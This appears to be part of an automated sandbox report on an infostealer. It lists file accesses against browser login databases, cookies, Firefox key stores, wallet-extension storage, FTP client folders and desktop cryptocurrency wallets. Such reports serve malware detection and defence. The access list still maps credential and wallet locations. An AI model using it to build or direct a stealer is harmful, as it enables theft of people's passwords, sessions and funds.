Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
